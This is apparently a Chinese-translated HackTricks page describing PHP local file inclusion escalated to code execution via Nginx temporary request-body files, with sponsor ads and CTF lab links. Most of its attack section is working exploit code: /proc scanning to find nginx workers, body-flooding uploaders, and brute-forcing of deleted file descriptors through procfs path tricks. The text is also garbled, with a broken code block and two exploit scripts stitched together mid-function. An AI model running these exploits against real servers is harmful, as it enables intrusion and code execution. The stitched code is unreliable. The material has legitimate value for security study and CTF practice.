LFI2RCE via Nginx temp files

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WhiteIntel

WhiteIntel 是一个由暗网推动的搜索引擎，提供免费功能，用于检查公司或其客户是否受到窃取恶意软件的侵害。

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

WhiteIntel

可利用的配置

**来自https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**的示例

PHP代码:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` 注意：在此示例中，不能直接包含`/proc/34/fd/15`，因为PHP的`include`函数会将路径解析为`/var/lib/nginx/body/0000001368 (deleted)`，而该路径在文件系统中不存在。幸运的是，可以通过一些间接方式绕过这个小限制，比如：`/proc/self/fd/34/../../../34/fd/15`，最终将执行已删除的`/var/lib/nginx/body/0000001368`文件的内容。 ## 完整利用 ```python #!/usr/bin/env python3 import sys, threading, requests # 利用nginx的客户端主体缓冲辅助进行PHP本地文件包含（LFI） # 详细信息请参阅https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # 查找nginx工作进程 r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx worker found: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # 上传一个大的客户端主体以强制nginx创建一个/var/lib/nginx/body/$X def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass

def send_payload_worker(requests_session): while True: send_payload(requests_session)

def send_payload_multiprocess(requests_session): # 使用所有 CPU 将 payload 作为请求体发送给 Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()

def generate_random_path_prefix(nginx_pids): # 此方法从随机数量的 ProcFS 路径组件创建路径。生成的路径将类似于 /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path

def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids): # 在循环中扫描 10 到 45 之间的 Nginx FD。由于文件和套接字保持关闭 - 请求体 FD 很常见在此范围内打开 for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()

def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()

if __name__ == "main": print('[DEBUG] 创建请求会话') requests_session = create_requests_session() print('[DEBUG] 获取 Nginx pid') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx pid: {nginx_pids}') print('[DEBUG] 开始发送 payload') send_payload_multiprocess(requests_session) print('[DEBUG] 开始 fd 读取器') read_file_multiprocess(requests_session, nginx_pids)


## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for **free** at:

<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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</details>

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